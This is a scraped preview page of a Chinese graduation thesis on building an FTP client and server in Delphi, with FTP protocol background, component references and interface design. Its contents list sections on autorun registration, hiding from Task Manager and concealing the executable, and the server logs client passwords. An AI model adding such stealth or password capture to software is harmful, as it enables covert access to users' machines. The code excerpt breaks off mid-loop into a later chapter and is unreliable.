ftp的构建与实现论  文-无忧无虑毕设网_第1页
ftp的构建与实现论  文-无忧无虑毕设网_第2页
ftp的构建与实现论  文-无忧无虑毕设网_第3页
ftp的构建与实现论  文-无忧无虑毕设网_第4页
ftp的构建与实现论  文-无忧无虑毕设网_第5页
已阅读5页,还剩69页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 本文配套程序下载地址 : 无忧无虑毕设网 ()-大学生毕业设计站 ,免费毕业设计论文 ,无忧无虑毕设网 大学生毕业设计 ,出售各类毕业设计源码 ,论文 ,程序源码 ,网站源码 ,免费视频教程 ,我们将竭诚为您服务! 摘 要 进入信息时代,随着互联网普及,只要接上网络,就能从网上找到庞大的数据资源,其内容包罗万象,可以说几乎任何人都可以在Internet 资源中找到自己所需要的信息资源。 有了网络,使用者不但可以浏览各种各样的信息资源,还能够将自己感兴趣的资源下载到本地机上。由于网络的带宽及各种服务的限 制,单纯从页面上下载显得又慢又不可靠,所以就有许多 FTP工具提供出来。 本软件是用 DELPHI7.0 作为开发工具完成的,系统有着良好的界面,简单易用,系统开发的总体任务是连接 FTP 服务器,上传 /下载文件、对 FTP 服务器站点的管理、服务器端提供 FTP 服务、允许远程登录下载服务器上的文件。 本软件的设计,即从需求分析,软件设计到软件功能实现,都始终遵循软件工程的思想和数据库的设计方法。在本文中采用了大量的图表说明,使文章明确清晰,便与阅读和理解。 关键词: FTP , FTP 工具软件, DELPHI 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: Abstract Enter the information centuries, along with the Internet universal, so long as connect with the net, you can find out the huge data resources from the Internet, its contents all inclusive, can say almost anyone can find out the information resources which you need in the Internet. Had the network, the user can browse various of information resources, can still download resources which you are interested in native from aboard. Because of the bandwidth of the network and the restrict of various service, the simplicity way seem to be slowly and not dependable up and down from the page, so there have many tools of FTP to provide out. This software completes with the DELPHI7.0 tools, the system has the good interface, using in brief and easily, the total mission of the system is to link the server of FTP, spreading up/ download documents, to the FTP server the management, server that station order carries to provide the service of FTP and allow the document of the long range logging download service machine. The design of this software, namely analytical from the need, the software designs the function to carry out, all following the thought of the software engineering and the design method of the databases always. This text had a great deal of chart elucidation, make the article definitely clear, then with read and comprehend easily. Key words FTP Tools of FTP software DELPHI 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 目 录 摘 要 . I Abstract . II 第 1 章 绪 论 . 1 1.1 课题背景 . 1 1.2 网络基本概念 . 1 1.3 网络概述 . 2 第 2 章 Delphi6 及相关技术简介 . 3 2.1 Delphi6 简介 . 3 2.2 FTP 协议简介 . 3 2.2.1 什么是 FTP 协议? . 3 2.2.2 FTP 文件传输的主要特点 . 4 2.2.3 FTP 支持的文件传送类型 . 4 2.2.4 FTP 在实现网络传输时提供的 3 种模式 . 4 2.3 FTP 在 Delphi6 的中的实现 . 5 2.4 NMFTP 控件的介绍 . 5 2.4.1 常用属性介绍 . 5 2.4.2 常用方法介绍 . 7 2.4.3 常用事件介绍 . 9 2.5 客户机 /服务器模式 . 11 2.5.1 什么是客户机 /服务器 . 11 2.5.2 如何采用客户机 /服务器模式 . 11 2.6 第三方控件的安装与删除 . 12 2.6.1 控件的安装 . 13 2.6.2 控件的删除 . 13 第 3 章 系统功能分析及界面设计 . 14 3.1 系统功能分析 . 14 3.2 系统主界面设计 . 16 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 3.3 站点管理器窗体设计 . 17 3.4 闪现窗体的设计 . 18 第 4 章 系统主要功能实现 . 19 4.1 闪现窗口的实现要点 . 19 4.2 主窗体中各模块的实现 . 20 4.2.1 本地操作的实现要点 . 20 4.2.2 站点管理器的实现要点 . 24 4.2.3 FTP 服务器上的远程操作实现要点 . 27 第 5 章 FTP 服务器端设计与应用 . 29 5.1 常用的 FTP 端指令集 . 29 5.2 重要的有关 FTP 的第三方控件包的介绍 . 29 5.2.1 常用属性介绍 . 30 5.2.2 常用方法介绍 . 31 5.2.3 常用事件介绍 . 31 5.3 FTP 服务器的设计 . 32 5.3.1 FTP 服务器界 面设计 . 32 5.3.2 FTP 服务器功能的实现 . 34 5.4 FTP 服务器端应用扩展分析 . 35 5.4.1 注册自动运行的几种方法 . 36 5.4.2 防止程序多次重复运行 . 38 5.4.3 任务管理器中的隐形 . 39 5.4.4 可执行文件的藏匿 . 41 结 论 . 43 致 谢 . 44 参 考 文 献 . 45 附录 1 . 47 附录 2 . 50 附录 3 . 54 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 第 1 章 绪 论 1.1 课题背景 现代科技给我们带来了翻天覆地的变化,互联网就是这诸多变化之一,而且它无时不刻地包围着你。可以这样说 , 21 世纪是互联网的世纪。互联网是人类科技发展史中成长最快的新鲜事物,从诞生到高度发展仅仅用了二十几年,而未来的发展前景更是一片光明。每个人可能者已经感觉到了它的发展,从大大小小的网络公司到各种各样的网上商店、书店、网吧、网上银行等,就连电影院也都搬到了网上你可以足不出户的欣赏美国大片。 早在 20 世纪 90 年代初, Internet 和 World Wide Web(简称 WWW)已经被大家熟知。最近几年, Internet 的发展更是神速,它已经深深 触 及 到 我 们 的 生 活 和 工 作 的 方 方 面 面 。 随 着 许 多 新 兴 技 术 在Internet 中 的推广应用,使用它的自身发展更日趋完善,它为用户也带来了越来多的实惠和便利。毫不夸张地说,无论你在世界上的哪个角落,只要通过互联网,你就可以同亲人朋友、甚至是陌生人相互交流,而且形式多样。互发邮件、交换文件、彼此聊天这已经是很平常了,而现在随着网络、通信技术的相结合,已经出现了可视电话、网络家电、电子商务等。网络用户可以通过大大小小的各类网站或主页。他们已经越来越离不开网络,而且已经把企业网络建设纳入了未来企业发展最重要的环节。是互联网最大的凝聚力所在,它是一个包罗万象的信息服务系统。 1.2 网络基本概 念 互联网通常指的是由很多计算机网络(包括局域网、广域网等)相互连接而成的一个总网络,它无论在功能上还是在逻辑上都是一无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 个巨型网络。无论 Internet、因特网、国际互联网、互联网、全球互联网、交互网、国际电脑网络、国际计算机网络。其实它们都是由美国阿帕网( ARPANET)发展而成的。主要采用的通信协议都是TCP/IP 协议。 Internet 也就是网络中心的网络。那什么又是网络呢?网络与Internet 又有什么关系呢? 1.3 网络概述 网络的定义从概念上说,就是由两台或两台以上计算机通过一定的连接和统一的 通信协议,最终实现彼此之间相互通信的实体。网络互联可以采用网间连接器互连和通过互联网两种方式实现网络互联。从定义看,它必须是由多个电脑通过连接设备物理连接而成,然后通过定制的协议方法才能实现多种资源、服务、信息共享。这种通信包括了发送 E-mail 和传真,交换一个或多个文件等。而Internet 是多个计算机网络的集合,是一个网中网,是遍布全球的联络各个计算机平台的总连接,这些网中网的计算机少则两三台,多的则拥有数千台,是名副其实的千万信息资源的汇合。从本质上讲, Internet 是一个媒介,是一个沟通你我他,沟 通全世界的重要手段,只不过这种沟通连接世界上不同种类型的计算机实现的,通过这种连接,我们就能和世界交流,和世界通信,所以它又是一个交换各类数据的通信媒介。从 Internet 提供的无限资源和对人类的发展推动作用这方面来理解, Internet 是正在迅猛发展的全球数字化数据库,这个数据库是建立在高度灵活的通信技术之上的,正是有了各种成熟的通信技术和网络连接的简单性、灵活性和共享信息的便利性才促成了 Internet 的飞速发展。 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 第 2 章 Delphi6 及相关技术简介 2.1 Delphi6 简介 Delphi 是美国 Borland 公司推出的功能强大的应用程序开发工具。它具有功能强大、运行速度快、易于学习和使用以及开发效率高等特点。它是可视化应用编程开发环境、可重用性面向对象编程语言、快速编译器和数据库的完美结合。 Delphi6 发布于 2001 年 6 月。新版本的 Delphi6 开发功能更加强大,除了能够有效帮助开发者个人或其开发团队快速建立 Windows应用程序,快速简化 Windows 与浏览器客户、 Web 服务器、中间件以及后台数据库系统 (XML|SOAPWSDLXSL 等 )的开发工具,同时也支持基于 Web 服务的 Microsoft.NET 和 Sun ONE,而且提供给 Web开发者需要的可伸缩性与可靠性。新的 Delphi6 框架中还包括了BizSnapWebSnap 和 DataSnap,用户可以用它开发支持 Web 服务特性的服务器端和客户端应用,而这一切者是通过一套高度集成的可视化开发工具、先进的编译技术和可重用的组件完成的。特别是在电子 商务 愈加流行的今天,通过 Delphi 6,任何企业都能很快地转移到未来基于 Web 服务的电子商务应用程序开发上,而不用丢弃以往的开发方式、技巧和源代码。可见,要创建一流的 Web 应用程序 ,Delphi 6 无疑是目前的最佳选择之一。 2.2 FTP 协议简介 2.2.1 什么是 FTP 协议? FTP 协议即文件传输协议( File Transfer Protocol),它是TCP/IP 协议族的应用协议之一,是 Internet 上使用非常广泛的一种通信协议。它是由支持 Internet 文件传输的各种规则所组成的集合,这些规则使 Internet 用户可以把文件从一个主机拷贝到别一个主机无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 上。通过 TCP/IP 连接在一起的任何两台计算机,如果安装了 FTP 和服务器,就可以通过 FTP 服务进行相互之间的文件传输,因而 为用户提供了极大的方便和收益。 FTP 通常也表示用户执行这个协议所使用的应用程序。 FTP 和其他的 Internet 服务一样,亦采用客户机 /服务器方式。它要求用户用本地的客户端与服务器建立连接,然后才能从服务器上获取文件( Download),或向服务器发送文件( Upload)。使用方法很简单;启动 FTP 程序先与主机连接,然后向远程主机发出传输命令,远程主机给予响应,执行正确命令。 目前 Windows 操作系统最常用的 FTP 软件有 WS-FTP,CUTEFTPT等。 FTP 有一个根本的限制,那就是:如果用户未被某一服务 器授权,未取得 User Name 和 Password 就不能访问该主机,实际上是不能远程登陆( Remote Login)进入该主机。而 Anonymous FTP(匿名 FTP)则取消了这种限制。 2.2.2 FTP 文件传输的主要特点 用户有合法的用户名和口令的前提下才与服务器建立连接。通过客户端软件,用户可以在权限允许的范围内进行文件更名、删除、或传送操作。 2.2.3 FTP 支持的文件传送类型 FTP 支持的文件传送类型,它们是 ASCII 和二进制映像。 ( 1) 文本文件( ASCII):在传送文本文件时应该使用 ASCII。在 ASCII 模式中,将执行网络标准字符转换。例如,行尾的字符在必要时根据目标操作系统进行转换。 ( 2)二进制( Binary)文件的传输可执行文件、图像和压缩文件等时应该使用二进制。在二进制模式中,一个字节接一个字节地移动文件。 2.2.4 FTP 在实现网络传输时提供的 3 种模式 ( 1)流模式( Stream mode)。在这种模式下, FTP 将文件 作为一系列字节进行处理,适用于任何数据类型。 FTP 针对不同的文件结构指明文件的开始和结尾。 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: ( 2)块模式( Block mode)。在这种模式下, FTP 将文件 作为大量块传输,每一个块前都有一个报头,包含有块的大小和描述符。所谓的描述符是用来确定该块在整个文件中的位置,指明该块是不是最后一块,同时,描述符还有一个位来描述数据是否可靠。 ( 3)压缩模式( Compressed mode)。这种模式主要用于提高传输的效率,能有效利用网络带宽。 2.3 FTP 在 Delphi6 的中的实现 在 Delphi6.0 中实现 FTP 的 3 种方法 要在 Delphi6.0 中实现 FTP 的下载功能,有以下 3 种方法: ( 1)使用 Delphi6.0 的 FastNet 组件页中的 TNMFTP 组件来实现文 件下载。 ( 2)使用 Active X 提供的 Microsoft Internet Transfer 组件。 ( 3)使用 Delphi6.0 提供的 WinInet 单元,其实质是系统的 API函数。 2.4 NMFTP 控件的介绍 NMFTP 控件位于控件面板的 FastNet 单元中,主要用于封装 FTP协议及其常用处理单元。图 2-1 就是 Delphi6 控件面板中的 FastNet页面,第 5 个控件就是 NMFTP。 图 2-1 FastNet 控件面板 2.4.1 常用属性介绍 单击 NMFTP 控件后,会显示 Object Inspector 对话框,同时默认显示多数 Properties(属性)的设置初始值,它主要是提供一些常用、便利的控件属性设置,用于使该控件正常的动作。具体面板无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 如图 2-2 所示 图 2-2 NMFTP 控件的属性面板 NMFTP 控件的属性面板中主要包括下面一些属性: About 属性:主要是一些本控件的版权信息,主要用于知道本控件的一些注册信息,如何升级和怎样得到技术支持等。 FirewallType 属性:主要用于设置防火墙类型。防火墙类型主要有三种 FTUser、 FtSite、 FtOpen。默认值是 FTUser。 FWAuthenticate 属性:用于设置在通过防火墙时是否需要身份认证。默认值是 False,当其值为 True 时,要求身份认证;反之则不需要。 FWPassword 属性:用于设置在通过防火墙时登录所需的用户口令。 FWUserID 属性:用于用于设置在通过防火墙时登录所需的用户ID。 Host 属性:主要用来指明本程序所要连接的远程主机的名称或IP 地址。 Name 属性: NMFTP 控件的类实体名字。 ParseList 属性:用于决定是否把内送的文档列表罗列入属性FTPDirectoryList 中;反之则不,如果需要处理 文档列表,只能无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 在 OnListItem 事件中进行。 Passive 属性:用于决定怎样进行 FTP 数据连接。默认值是 False,当其值为 False时,将以 Port方法连接;当值为 True 时则以 PASV方法连接。后者多用于 Proxy 中。 Password 属性:当用户向 FTP 服务器按指定用户 ID 登录时用于设置指定的用户口令。 Port 属性:主要用来指明本程序所要连接的远程主机的端口号。在有些网络服务中也用来指定远端服务软件正在监听的端口号。 Proxy 属性:主要用来指明本程序所要连接的代理服务器的名称或 IP 地址。如果 该服务并不需要代理服务器设为空即可。 ProxyPort 属性:主要用来指明本程序所要连接的代理服务器使用的端口号。 ReporLevel 属性:主要用来当 Status 属性设置和 OnStatus 事件触发时控制报告的数目等级。 Tag 属性:工具型辅助属性,主要用于存储附加的整型数据。 TimeOut 属性:即超时属性用于定义在 Socket 连接过程中用于触发异常的时间单位是毫秒。当该值被设为 0 时,将不会产生异常。 UserID 属性:当用户向 FTP 服务器请求建立连接时输入的指定用户 ID。 Vendor属性:用于指明所要 连接的 FTP 服务器提供的是何种模式,这就能够使应用程序在进行文档列表时能够采取适当的方式,如果模式不清楚,默认值将为用户自动检测。默认值是 NMOS_AUTO,常 用 的 有 NMOS_UNIX、 NMOS_WINDOWS、 NMOS_VM、 NMOS_BULL、NMOS_MAC、 NMOS_TOPS20、 NMOS_VMS、 NMOS_OS2、 NMOS_MVS_IBM、NMOS_MVS_INTERLINK 、 NMOS_OTHER 、 NMOS_AUTO 、 NMOS_NT 、NMOS_TANDEM、 NMOS_AS400、 NMOS_OS9、 NMOS_NETWARE 等。 2.4.2 常用方法介绍 NMFTP 控件在封装了多数属性、事件的同时、也为用户提供了更多应用处理单元,这为程序员更好的控制 FTP 协议提供了锐利的武器。下面列出了我们在程序开发当中常用的一些方法。 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: Allocate 方法:用于在远程 FTP 服务器上分配空间来储存文件。用法如下: ChangeDir 方法:用于更换远程 FTP 服务器上的工作目录。 Delete 方法:用于删除远程 FTP 服务器上的指定文件。 DoCommand 方法:用于向远程 FTP 服务器上发送各种指令,法 FTP服务器端的 指令不规则时,这种方法最有用。 Download 方法:用于从远程 FTP 服务器向本地计算机下载指定文件。 DownloadRestore 方法:用于从远程 FTP 服务器向本地计算机下载指定文件。该文件以前曾经下载过,但求未完成。 List 方法:用于把远程 FTP 服务器当前工作目录中的目录和文件形成列表,当 ParseList 属性为 True 时,在执行 List 方法时内送的文档列表将被罗列入属性 FTPDirectoryList 中包括名称、大小、日期、属性;反之则不,如果需要处理文档列表时只能在OnListItem 事件中进行 。 List 方法运行成功将触发 OnSuccess事件;失败将触发 OnFailue 事件。 MakeDirector 方法:用于在远程 FTP 服务器当前工作目录中建立新的目录。 Mode方法:用于在远程 FTP 服务器和本地计算机之间传输文件时,改变传输模式。 Nlist 方法:用于从远程 FTP 服务器当前目录中获取所有目录和文件的名字。如果需要处理文档列表只能在 OnListItem 事件中进行。 NList 方法运行成功将触发 OnSuccess 事件;失败将触发OnFailue 事件。 Reinitialize 方法:用于初始化当前用 户和 FTP 服务器建立起的有效连接,当它执行时,将把连接置于无用的状态,要求重新输入登录帐号和口令。只有再次登录正确才能政党继续工作。 RemoveDir 方法:用于在远程 FTP 服务器当前工作目录中删除指定的目录。 Rename 方法:用于在远程 FTP 服务器当前工作目录更名指定的文件。 Upload 方法:用于从本地计算机向远程 FTP 服务器上的当前工作无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 目录上传指定文件。 UploadAppend 方法:用于从本地计算机向远程 FTP 服务器上的当前工作目录上传指定文件。当该文件已经存在时,则追加在该文件的尾部。 Uploadrestore 方法:用于从本地计算机向远程 FTP 服务器上的当前工作目录上传指定文件。该文件曾经上传达室过但不完全。 UploadUnique 方法:用于从本地计算机向远程 FTP 服务器上的当前工作目录上传指定文件。上传的文件名字将和在本地时是一样的,如果远程 FTP 服务器存在同名文件时,该文件在上传时将被改名。 2.4.3 常用事件介绍 单击 NMFTP 控件后,会显示 Object Inspector 窗口,在 Events页面上会显示出 NMFTP 控件常用的事件。它主要是提供一些常用、便利的事件控制来响应各种消息。 具体面板如图 2-3 所示 图 2-3 NMFTP 控件的事件面板 下面列出了我们在程序开发当中常用的一些事件: OnConnect 事件 :当用户成功登录到服务器时触发该事件。 OnConnectionFailed 事件 : 当用户登录到服务器失败时触发该事件。 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: OnAuthenticationFailed 事件 :当用户使用非法的用户名和密码登录服务器时触发该事件,将更改 Handled 参数。 OnConnectionRequired 事件 :在调用 TNMFTP 组件的方法时,如果检测到没有连接到 FTP 服务器,就将触发该事件; 处理这个事件的句柄时,应当调用 Connect 方法来连接 FTP 服务器。 OnDisconnect 事件 :当断开与服务器的连接时所触发的事件。 OnInvalidHost 事件 :当在 Host 属性所批定的主机名非法时触发该事件。 OnListItem 事件 :程序执行 List 命令时每检索到一个文件都会激发这个事件。 OnPacketRecvd 事件 :在文件下载过程中,收到一个完整的数据块就会触发这个事件,通常的用法是用这个句柄来显示下载的进度。 OnpacketSent 事件 :在文件上载过程中,每发送一个完整的数据块就会触发 这个事件,通常的用法是用这个返回的句柄来显示上载的进度。 Onstatus 事件 :当 FTP 服务响应命令返回状态信息时将触发这个事件。 OnSuccess 事件 : OnSuccess 事件是在服务器成功执行命令后所触发的事件。 OnError 事件 :如果在连接或传输数据的过程中出错,就将自动触发这个事件,它属于 TOnErrorEvent 类型。 OnFailure 事件 :这个事件是在 TNMFTP 组件调用某个方法失败时触发的事件。 OnTransactionStart 事件 :当程序调用各种方法开始传输数据时所触发的事件。 OnTransactionStop 事件 :当程序调用各种方法传达室输数据并且传输完成后所触发的事件。 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 2.5 客户机 /服务器模式 在数据处理领域中,客户机 /服务器( Client/Server,简称 C/S)体系结构受到极关注, C/S 已经成为网络计算机的主要方式。当然基于 TCP/IP 的网络通信主要模式也是客户机 /服务器方式。 2.5.1 什么是客户机 /服务器 客户机 /服务器并非是一种物理结构,也就是说,客户机、服务器并非一定是两台计算机,它们也可能位于同一台计算机上,甚至客户机和服务器的地位可以互换,某一时刻处 于客户机地位的在另一时刻可能充当服务器的角色。所以客户机 /服务器的理解应是应用程序之间相互作用的一种模型。 客户机程序(进程)发送请求给服务器程序(进程),服务器进程对客户机的请求做出响应,并产生结果。一般来说,服务器进程完成一些比较通用而特殊的处理,如进行一些复杂的计算,大型数据库的查询等等。而客户机进程则由于将上述一些特殊的应用交由服务器进程处理,因而可以专心于其它工作,如事务处理、人机交互等等。显然,客户机 /服务器模式下,客户机为主动方,即请求方;而服务器为被动方,接受请求方。 网络环境是客户机 /服务 器模式的主要应用环境。计算机组网的目的是为了资源共享,在网络中存在不同功能的设备,一般而言,作为服务器的计算机拥有比较丰富的资源,如高速 CPU、大容量硬盘、高速打印机、大型数据库等等。而客户机一般拥有相对比较少的资源,这时,客户机利用 TCP/IP 应用程序来访问服务器资源,而服务器的 TCP/IP 应用程序则可以将客户机访问的结果回送给客户机。这就是基于客户机 /服务器结构的 TCP/IP 应用。 2.5.2 如何采用客户机 /服务器模式 客户机一方,通信应用程序功能如下: 1. 打开通信信道(申请套接字),并连接到服务器在 主机的保留端口,该端口对应服务器的通信进程。 2. 向服务器发出请求报文,等待接收应答。 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 3. 从服务器方收到最终应答结果,或在不再请求时关闭信道并终止客户机进程。 服务器一方,通信应用程序动作如下: 1打开通信信道(申请套接字),通知本地主机在某一保留端口接收客户机请求。 2等待客户机请求到达指定端口。 3接收到请求,启动一新进程处理用户机请求,同时释放旧进程以响应新的客户机请求,一旦服务完成,关闭新进程与客户机的通信链路。 4继续等待客户机请求。 5如果不想响应客户机请求,关闭服务器进程。 由此看出,在客 户机 /服务器模式应用程序中的服务器进程必须先于客户机进程启动,直到客户的响应结束或强迫终止。 2.6 第三方控件的安装与删除 众所周知, Delphi 提供了大量的组件,使用这些组件基本上已能满足我们的编程需求。但是在对于有特定要求的程序,仅仅使用Delphi 自带的组件就无法适应了。另外, Delphi 自带的一些组件功能比较简单,很难满足我们一些特定的要求。值得庆幸的是,现在有很多的第三方组件,这些组件功能强劲,而且覆盖了编程的方方面面,极大的方便了我们。使用这些第三方组件往往达到事半功倍的效果,大大提高编程的 效率。同时还能使我们的程序更漂亮、更专业、更强大。所以第三组件是我们使用 Delphi 编程一大法宝。 第三方组件往往是 Delphi 自带组件的扩展,是在 Delphi 自带组件的基础上加强功能,并进行功能细化和专业化。例如,有些第三方组件把按钮、标签细化为很多种,每一种实现一种特定的功能。另外一些第三组件是 Delphi 中没有的,这些组件往往是根据编程时常遇到的需求,将一些常用的方法、函数以及 API 集成到这些组件中,编程时就不需要编写这些程序了。如 TrayIcon、 Specomm 等。这些组件往往都特别有用。 下面就简单 介绍一下三方控件在 Delphi无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 中的安装和删除方法 2.6.1 控件的安装 1、对于单个控件, Componet-install component.-PAS 或 DCU文件 -install; 2、对于带 *.dpk 文件的控件包, File-Open(下拉列表框中选*.dpk)-install 即可; 3、对于带 *.bpl 文件的控件包, Install Packages-Add-bpl 文件名即可; 4、如果以上 Install 按钮为失效的话,试试 Compile 按钮; 5、是 run time lib 则在 option 下的 packages 下的 runtimepackes加之。 安装时常见问题及解决方案: 如果编译时提示文件找不到的话,一般是控件的安装目录不在 Delphi 的 Lib 目录中,有两种方法可以解决: 1、反安装的源文件拷入到 Delphi 的 Lib 目录下; 2、或者 Tools-Environment Options 中把控件源代码路径加入到 Delphi 的 Lib 目录中即可。 注意:所安装的控件是否与你所用的 Delphi 版本相适应。 2.6.2 控件的删除 在 Component/Install Packages 中删除。 选 Component/configure Palette有 pages 和 components 两个区域双击 components 区域,选中要删除得控件,下面有得 Delete 按钮但系统提供的控件只能 Hide,不能 delete。打开控件所在的包文件 (*.dpk),从中删除控件那个文件,再 重 新 编 译 该 包 即 可 如 果 是 整 个 控 件 包 都 要 删 除 的话 ,project-Option-Packages,删掉那个 packages,ok 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 第 3 章 系统功能分析及界面设计 3.1 系统功能分析 系统开发的总体任 务是连接 FTP 服务器,上传 /下载文件、对 FTP服务器站点的管理、服务器端提供 FTP 服务、允许远程登录下载服务器上的文件。功能层次图如图 3-1 所示 图 3-1 FTP 客户端功能层次图 FTP 服务器端数据流图,如图 3-2 所示 图 3-2 FTP 服务器端数据流图 FTP 客户端程序 本地文件操作 远程文件操作 连接设置 客户端 命令 解析 存储设备 文件 传输 日志文件 文件数据 文件数据 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: FTP 客户端数据流图,如图 3-3 所示 图 3-3 FTP 客户端数据流图 系统 开发是在系统分析的基础上完成的。此程序中的 FTP 服务器端及客户端需要完成的功能主要有: 服务器端: 提供 FTP 客户端登录 提供文件上传 /下载 记录登录客户端的 IP、用户名、密码以及日志信息 客户端: FTP 连接 修改文件传输方式 连接设置 通过代理服务器连接 FTP 服务器 上传 /下载文件 日志文件操作 FTP 服务器站点管理 下载队列操作 下载状态显示 自定义命令操作 连接 人机 交互 FTP 服务器 远程操作 本地操作 存储设备 用户 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 本地文件夹及文件操作 远程文件夹及文件操作 3.2 系统主界面设计 窗体名称: Form1 窗体功能:实现各个模块及菜单的显示,是程序的主体。 控件名称及属性设置见附表 1。 控件位置设置如图 3-4 所示 图 3-4 控件位置设置图 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 主要弹出菜单的设计如图 3-5,3-6,3-7 所示 图 3-5 队列编辑器菜单 图 3-6 本地文件菜单 图 3-7 远程文件菜单 3.3 站点管理器窗体设计 窗体名称: Form2 窗体功能:对 FTP 服务器站点对行设置、保存、管理。 控件名称及属性设置见附表 2。 控件位置设置见图 3-8 图 3-8 站点管理器 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 3.4 闪现窗体的设计 窗体名称: Splash 窗体功能:启动程序时显示软件信息,从而消除 使用者等待软件启动时的焦虑心情。 效果如图 3-9 所示 图 3-9 闪现窗口 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 第 4 章 系统主要功能实现 4.1 闪现窗口的实现要点 在 PB 中实现闪现窗体直接 Open(form2),close(form1)即可 ,在Delphi 中这样是行不通的,在 Delphi 中如果这样做程序根本就执行不出来,在关闭 form1 时程序就退出了,要在 Delphi 中实现闪现窗体 首先,设置要闪现的窗体属性(在本程序中的窗体是 Splash)BorderStyle 属性组值设为空, BorderStyle 设为 bsNone 目地是去 掉最大 /小化按钮及去除工具栏 在 Project-Options.中将窗体 Splash 从 Auto-create forms:中移到 Available forms:中,目地是不让程序自动创建该窗体。 在 Project 中加入如下代码: begin Application.Initialize; Application.Title := FTP 精灵 ; splash:=Tsplash.Create(splash); /创建 splash splash.Show; /显示 splash splash.Update; Application.CreateForm(TForm1, Form1); Application.CreateForm(TForm2, Form2); Splash.free; Application.Run; end. 接着在 splash 的 Create 中加入如下代码: procedure TForm1.FormCreate(Sender: TObject); var CurrentTime:Longint; begin 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: CurrentTime:=GetTickcount div 1000; While (Longint(GetTickcount div 1000)提示符下使用 Help PWD指就会显示 PWD 指令的具体帮助信息,同理于其他指令。我的 FTP客户工具其实质上就是集成这些指令并简化这些命令行操作。 5.2 重要的有关 FTP 的第三方控件包的介绍 本节我们将讨论利用第三方控件来实现简易的 FTP 服务器的制作。 在 Delphi 控件包中能够制作 FTP 服务器的有 ICS 和 FTPSerevr无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 等, ICS 控 件 包 , 可 以 在 主 页 地 址http:/www.rtfm.be/fpiette/indexuk.htm 上 找 到 , 安 装 后 , 在Delphi6 的控件面板上看见它的控件图标如图 5-1 所示,左边第三个控件就是它。 图 5-1 ICS 控件包的面板及图标 5.2.1 常用属性介绍 单击 FTPServer 控件后,会显示 Object Inspector 对话框,同时默认显示多数 Properties(属性)的设置初始值,它主要是提供一些常用、便利的控件属性设置,用于使该控件正常的动作。具体面板如图 5-2 所示。 图 5-2 FTPServer 控件的事件面板 FTPServer 控件的属性面板中主要包括下面的一些属性: Banner 属性:控件中使用的标语 MaxClients 属性: FTP 服务最大支持的用户数。 Port 属性: FTP 服务所使用的端 口,通常为 21,当自定义的 FTP无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 服务可以指定所希望的端口值。 Tag 属性:工具型辅助属性,主要用于存储附加的整形数据。 UserData 属性:工具型辅助属性,主要用于存储附加的整形数据。 5.2.2 常用方法介绍 FTPServer 控件在封装腔作势多数属性、事件的同时,也为用户提供了更多应用处理单元,这为程序员更好的控制 FTP 协议提供了更锐利的武器。如果想更好的掌握这些方法,就需要不断的实践、总结。这些方法多数是继承自其父类的,少数则是 FTPServer 控件所特有的,在多数情况下,只需掌握这些基本情况就足 够了。下面列出了我在程序开发当中常用的一些方法。 Start 方法:用于启动 FTP 服务器。 Stop 方法:用于停止 FTP 服务器。 DiconnectAll:方法用于断开所有与 FTP 服务器连接的用户。 5.2.3 常用事件介绍 OnAlterDirector 事件:当改变指定 FTP 服务器目录名称时触发该事件。 OnAnwerToClient 事件:当 FTP 服务器应答客户机时触发该事件。 OnAuthenticate 事件:当 FTP 服务器的用户的身份得到验证时触发该事件。 OnBuildDirectory 事件:当 建立指定 FTP 目录时 时触发该事件。 OnChangeDirectory 事件:当进入指定 FTP 目录 时触发该事件。 OnClientCommand 事件:当 FTP 服务器收到来自客户机指令时触发该事件。 OnClientConnect 事件:当客户机连接到 FTP 服务器成功时触发该事件。 OnClientDisconnect 事件:当客户从 FTP 服务器成功断开时触发该事件。 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: OnMakeDirectory 事件:当运用客户指令建立指定 FTP 目录 时触发该事件。 OnStart 事件:当启动 FTP 服务器的服务时触发该事件 。 OnStop 事件:当停止 FTP 服务器的服务时触发该事件。 OnValidateGet 事件:当 FTP 服务器从客户合法获取数据时触发该事件。 OnValidateGet 事件:当 FTP 服务器向客户机合法传输出数据时触发该事件。 5.3 FTP 服务器的设计 FTP 服务器软件一般具有启动服务、停止服务、日志管理、端口设置、断开连接、退出系统等功能。 5.3.1 FTP 服务器界面设计 由上面的功能分析设计出如下界面,界面如图 5-3 所示。 图 5-3 FTP 服务器设计窗体图 窗体上摆放的各控件描述如表 5-1 所示。 无忧无虑毕设网 ():毕业设计源码下载 毕业设计源码下载: 表 5-1 控件描述表 控件类型 控件名称 描述 窗体控件:属于ToolButton1 类 Form1 程 序 的 主 窗 体 ,Caption 属性设置为“ FTP 简易服务器” 多行文本编辑控件:属于ToolButton1 类 Memo1 用于记录 FTP 服务器 产 生 日 志 的 具体内容 工具条控件:属于ToolButton1 类 ToolBar1 提供了 6 个ToolButton,它的Align 属性什为alTop;Images 属性设置为ImagesList1。 